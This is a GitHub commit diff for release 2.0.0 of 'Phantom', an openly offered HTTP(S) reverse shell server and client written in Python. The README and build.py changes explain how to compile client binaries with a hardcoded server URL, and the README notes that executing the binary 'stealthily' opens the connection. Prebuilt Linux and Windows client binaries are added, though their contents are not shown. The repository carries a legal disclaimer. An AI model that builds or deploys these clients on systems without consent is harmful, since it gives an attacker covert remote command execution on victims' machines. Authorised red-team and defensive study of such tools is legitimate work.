Skip to content

Commit 2d32f51

Browse files
authored
Merge pull request #5
Release v2.0.0
2 parents b9aa720 + 3470ed4 commit 2d32f51

18 files changed

+290
-231
lines changed

.gitignore

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,6 @@ __pycache__/
9898
# Distribution / packaging
9999
build/
100100
develop-eggs/
101-
dist/
102101
downloads/
103102
eggs/
104103
.eggs/
@@ -225,4 +224,4 @@ dmypy.json
225224
cython_debug/
226225

227226
# Project-specific files
228-
client.cfg
227+
config.py

CHANGELOG.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,5 +4,14 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
55
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
66

7+
## [Unreleased]
8+
9+
## [2.0.0] - 2021-11-26
10+
- Changed the project name to "Phantom" and URL to https://github.com/EONRaider/BCA-Phantom
11+
- Changed the CLI parsing to accept a full URL for the server instead of different parameters for hostname and port number
12+
- Greatly simplified the "client" and "build" modules by re-implementing them without using "configparser" for client configuration
13+
- Added HTTP mode for both servers and clients
14+
- Updated distribution binaries for Linux and Windows
15+
716
## [1.0.0] - 2021-11-19
817
- Public release

README.md

Lines changed: 59 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -1,81 +1,93 @@
1-
# Python 3 HTTPS Reverse Shell
1+
# Phantom - A multi-platform HTTP(S) Reverse Shell Server and Client
22

33
![Python Version](https://img.shields.io/badge/python-3.9+-blue?style=for-the-badge&logo=python)
4-
[![CodeFactor Grade](https://img.shields.io/codefactor/grade/github/EONRaider/BCA-HTTPS-Reverse-Shell?label=CodeFactor&logo=codefactor&style=for-the-badge)](https://www.codefactor.io/repository/github/EONRaider/BCA-HTTPS-Reverse-Shell)
4+
[![CodeFactor Grade](https://img.shields.io/codefactor/grade/github/EONRaider/BCA-Phantom?label=CodeFactor&logo=codefactor&style=for-the-badge)](https://www.codefactor.io/repository/github/EONRaider/BCA-Phantom)
55
![OS](https://img.shields.io/badge/GNU%2FLinux-red?style=for-the-badge&logo=linux)
66
![OS](https://img.shields.io/badge/Windows-blue?style=for-the-badge&logo=windows)
77

88
[![Reddit](https://img.shields.io/badge/Reddit-EONRaider-FF4500?style=flat-square&logo=reddit)](https://www.reddit.com/user/eonraider)
99
[![Discord](https://img.shields.io/badge/Discord-EONRaider-7289DA?style=flat-square&logo=discord)](https://discord.gg/KVjWBptv)
1010
[![Twitter](https://img.shields.io/badge/Twitter-eon__raider-38A1F3?style=flat-square&logo=twitter)](https://twitter.com/intent/follow?screen_name=eon_raider)
1111

12-
A **cross-platform HTTPS Reverse Shell** server and client in Python 3. Binaries for
13-
Linux and Windows platforms can be built through an embedded script that implements
12+
Phantom is a **multi-platform HTTP(S) Reverse Shell** server and client in Python 3. Binaries for
13+
Linux and Windows platforms can be built through an embedded script that executes
1414
PyInstaller.
1515

16-
This application also includes a helper shell script that enables fast generation of
16+
Reverse shells can be established through HTTP or HTTPS. The certificates used for
17+
HTTPS can be auto-generated by Phantom or supplied by the user.
18+
19+
Phantom includes a helper shell script that enables fast generation of
1720
self-signed certificates for use of both servers and clients. After generation, the
1821
server and certificate authority certificates required for encrypted connections
1922
are bundled in the binaries for portability and ease of execution.
2023

24+
## Demo
25+
![demo](https://github.com/EONRaider/static/blob/70ea04684f47e1314a95152a290d1e1d137784cd/phantom/usage.gif)
26+
2127
## Try it out!
22-
If you just need to see the tool in action on a local environment, simply head over
23-
to the [demo-files](https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell/tree/master/demo-files)
24-
directory and download the pre-built Linux/Unix/macOS or Windows binaries.
28+
Simply head over to the [dist directory](https://github.com/EONRaider/BCA-Phantom/tree/master/dist)
29+
and download the pre-built Linux/Unix or Windows binaries.
2530

26-
The files are all bundled with certificates for `localhost` and work straight out-of-the-box. *Just
27-
set them with permissions to execute and run.*
31+
The HTTP client files are set to connect to http://localhost:8080, whereas the HTTPS client bundles a CA certificate file for https://localhost:4443 and will
32+
only connect to this socket. With that in mind, choose either HTTP or HTTPS and run the server on one shell:
33+
```shell
34+
./linux_server http://localhost:8080
35+
<-- or -->
36+
./linux_server https://localhost:4443
37+
```
38+
And the client on another one...
39+
```shell
40+
./http_linux_client
41+
<-- or -->
42+
./https_linux_client
43+
```
44+
The same procedure works for the Windows binaries.
45+
46+
## Setup
47+
### HTTP Server and Client
48+
*You don't need to set up the server and client for HTTP connections.* The server will
49+
work straight out-of-the-box and the client will connect to any HTTP server. Just [download
50+
the HTTP binaries from dist](https://github.com/EONRaider/BCA-Phantom/tree/master/dist)
51+
and you're done. Execute the binaries with the `--help` option for instructions.
2852

29-
## Build
53+
### HTTPS Server and Client
3054
Encrypted communication through HTTPS requires at least two certificates: One for
3155
the server, named `server.pem` by default, and another for the certificate authority, or `ca.pem`.
32-
This HTTPS Reverse Shell bundles both files in binaries for fast deployment. They can be
56+
Phantom bundles both files in binaries for fast deployment. They can be
3357
generated by [multiple methods](https://www.digitalocean.com/community/tutorials/openssl-essentials-working-with-ssl-certificates-private-keys-and-csrs)
34-
or by a simple execution of the [generate_certs.sh](https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell/blob/master/src/generate_certs.sh) helper script.
58+
or by a simple execution of the [generate_certs.sh](https://github.com/EONRaider/BCA-Phantom/blob/master/src/generate_certs.sh) helper script.
3559

36-
Once the certificates are ready you only need to (I) install the dependencies and (II)
37-
run `build.py` to build the `server` and `client` binaries.
60+
Once the certificates are ready you only need to follow the steps from the Build and Run
61+
section below.
3862

63+
## Build and Run an HTTPS Server/Client
3964
### I. Install Dependencies
4065
Dependency management works with both [Poetry](https://python-poetry.org/) (recommended)
41-
and [Virtualenv](https://virtualenv.pypa.io/en/latest/)
66+
and [Virtualenv](https://virtualenv.pypa.io/en/latest/). You need to install all
67+
dependencies before building binaries.
4268
```shell
43-
git clone https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell.git
44-
cd BCA-HTTPS-Reverse-Shell
69+
git clone https://github.com/EONRaider/BCA-Phantom.git
70+
cd BCA-Phantom
4571
poetry install <--or--> pip install -r requirements.txt
4672
```
4773

48-
### II. Build Server and Client binaries
49-
The `build.py` file takes care of it all.
50-
```shell
51-
python build.py server --server-cert /path/to/server.pem
52-
python build.py client --ca-cert /path/to/ca.pem
53-
```
54-
55-
## Usage
56-
![usage](https://github.com/EONRaider/static/blob/97b0e81aee6eb0f2b255a26cd138299e2361d025/https-reverse-shell/usage.gif)
57-
58-
## Development mode (optional)
59-
You could optionally run the HTTPS Reverse Shell directly from a local Python 3
60-
interpreter. [Install all dependencies](https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell/tree/master#i-install-dependencies)
61-
and run the `server.py` and `client.py` files. All required certificates will be
62-
automatically generated for `localhost`.
63-
64-
Execute the **Server** on one shell...
65-
```shell
66-
python src/server/server.py localhost 4443
67-
```
68-
69-
... And the **Client** on another shell:
70-
```shell
71-
python src/client/client.py \
72-
--host localhost \
73-
--port 4443 \
74-
--ca-cert src/server/ca.pem
75-
```
74+
### II. Build HTTPS Server and Client binaries
75+
The `build.py` file centralizes the process and takes care of it all. Notice that
76+
a built Client binary contains a *hardcoded server URL*. **The connection to the server can
77+
be stealthily performed by simply executing the binary.**
78+
- Build and run the **Server**
79+
```shell
80+
python build.py server --server-cert /path/to/server.pem
81+
./linux_server SERVER_URL
82+
```
83+
- Build and run the **Client**
84+
```shell
85+
python build.py client --url SERVER_URL --ca-cert /path/to/ca.pem
86+
./https_linux_client
87+
```
88+
The same procedure works for the Windows binaries.
7689

7790
## Legal Disclaimer
78-
7991
The use of code contained in this repository, either in part or in its totality,
8092
for engaging targets without prior mutual consent is illegal. **It is
8193
the end user's responsibility to obey all applicable local, state and

build.py

Lines changed: 35 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,17 @@
11
#!/usr/bin/env python3
2-
# https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell
2+
# https://github.com/EONRaider/BCA-Phantom
33

44
__author__ = "EONRaider @ keybase.io/eonraider"
55

66
import argparse
7-
import configparser
87
import functools
9-
import platform
108
from pathlib import Path
9+
from platform import system
1110
from typing import Container
1211

1312
import PyInstaller.__main__
1413

1514

16-
def os_sep() -> str:
17-
"""Gets the path separator for the current operating system.
18-
Windows systems use ';' as a separator, whereas macOS/Linux/Unix
19-
use ':'."""
20-
return ";" if platform.system() == "Windows" else ":"
21-
22-
2315
def pyinstaller(func):
2416
"""Decorator that takes a container of strings returned by a
2517
function and passes them as arguments to the PyInstaller runner."""
@@ -30,11 +22,23 @@ def build_binary(*args, **kwargs):
3022
return build_binary
3123

3224

25+
def os_name() -> str:
26+
"""Gets the name of the current operating system."""
27+
return system().lower()
28+
29+
30+
def os_sep() -> str:
31+
"""Gets the path separator for the current operating system.
32+
Windows systems use ';' as a separator, whereas macOS/Linux/Unix
33+
use ':'."""
34+
return ";" if os_name() == "windows" else ":"
35+
36+
3337
@pyinstaller
3438
def server(args: argparse.Namespace) -> list[str]:
3539
"""Set-up the arguments required by PyInstaller to build the
3640
server binary."""
37-
cmd = ["server/server.py", "--onefile"]
41+
cmd = ["src/server/server.py", "--onefile", "--name", f"{os_name()}_server"]
3842
if args.server_cert is not None:
3943
cmd.extend(["--add-data", f"{args.server_cert}{os_sep()}."])
4044
return cmd
@@ -44,26 +48,24 @@ def server(args: argparse.Namespace) -> list[str]:
4448
def client(args: argparse.Namespace) -> list[str]:
4549
"""Set-up the arguments required by PyInstaller to build the
4650
client binary."""
47-
48-
'''A configuration file named 'client.cfg' is created with
49-
hard-coded server address, port and CA information that allows
51+
config = {"url": args.url}
52+
cmd = ["src/client/client.py", "--onefile", "--hidden-import", "config"]
53+
os: str = os_name()
54+
55+
if args.ca_cert is None:
56+
cmd.extend(["--name", f"http_{os}_client"])
57+
else: # Client bundles CA certificate file in PEM format
58+
config.update({"ca_cert": Path(args.ca_cert).name})
59+
cmd.extend(["--name", f"https_{os}_client",
60+
"--add-data", f"{args.ca_cert}{os_sep()}."])
61+
62+
'''A configuration file named 'client.py' is created with hardcoded
63+
server URL and path to CA certificate file, if any, that allows
5064
seamless connection of the binary client to the server. This file
5165
is bundled in the binary and read on execution.'''
52-
config = configparser.ConfigParser()
53-
config["CLIENT"] = {
54-
"host": args.host,
55-
"port": str(args.port),
56-
"ca-certificate": Path(args.ca_cert).name
57-
}
58-
59-
with open(file="client.cfg", mode="w") as config_file:
60-
config.write(config_file)
61-
62-
sep = os_sep()
63-
cmd = ["client/client.py",
64-
"--onefile",
65-
"--add-data", f"{args.ca_cert}{sep}.",
66-
"--add-data", f"client.cfg{sep}."]
66+
with open(file="src/client/config.py", mode="w") as config_file:
67+
for key, value in config.items():
68+
config_file.write(f"{key} = '{value}'\n")
6769

6870
return cmd
6971

@@ -85,16 +87,11 @@ def client(args: argparse.Namespace) -> list[str]:
8587

8688
client_parser = subparsers.add_parser("client")
8789
client_parser.add_argument(
88-
"host",
90+
"url",
8991
type=str,
90-
metavar="<hostname/address>",
91-
help="Address or hostname of the server to connect to."
92-
)
93-
client_parser.add_argument(
94-
"port",
95-
type=int,
96-
metavar="<port>",
97-
help="Port number exposed by the server."
92+
help="Full URL of the server (with optional port number) in the format "
93+
"'SCHEME://DOMAIN|ADDRESS[:PORT]'. "
94+
"Ex: http://192.168.0.10:8080 or https://your-domain.com"
9895
)
9996
client_parser.add_argument(
10097
"--ca-cert",

dist/http_linux_client

6.93 MB
Binary file not shown.
Binary file not shown.
Binary file not shown.

dist/https_windows_client.exe

6.64 MB
Binary file not shown.
Binary file not shown.
Binary file not shown.

poetry.lock

Lines changed: 23 additions & 22 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)